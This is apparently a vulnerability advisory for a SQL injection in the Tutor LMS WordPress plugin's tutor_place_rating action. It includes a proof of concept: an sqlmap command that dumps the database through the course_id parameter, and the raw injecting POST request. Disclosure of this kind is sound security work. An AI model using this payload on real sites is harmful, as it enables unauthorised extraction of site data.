Tutor LMS < 1.7.7 - SQL Injection via tutor_place_rating

2021-03-1500:00:00

Chloe Chamberland

123

0.001 Low

EPSS

Percentile

35.7%

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The tutor_place_rating AJAX action from the plugin was vulnerable to blind and time based SQL injections that could be exploited by students.

python3 sqlmap.py -r ~/tutor2.txt --dbms=mysql --technique=B -p course_id --dump

Where tutor2.txt is

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [URL]
Content-Length: 69
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: [URL]
Referer: [URL]/courses/first-class/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [STUDENTCOOKIES]
Connection: close

course_id=26&rating=5&review=%3B'&action=tutor_place_rating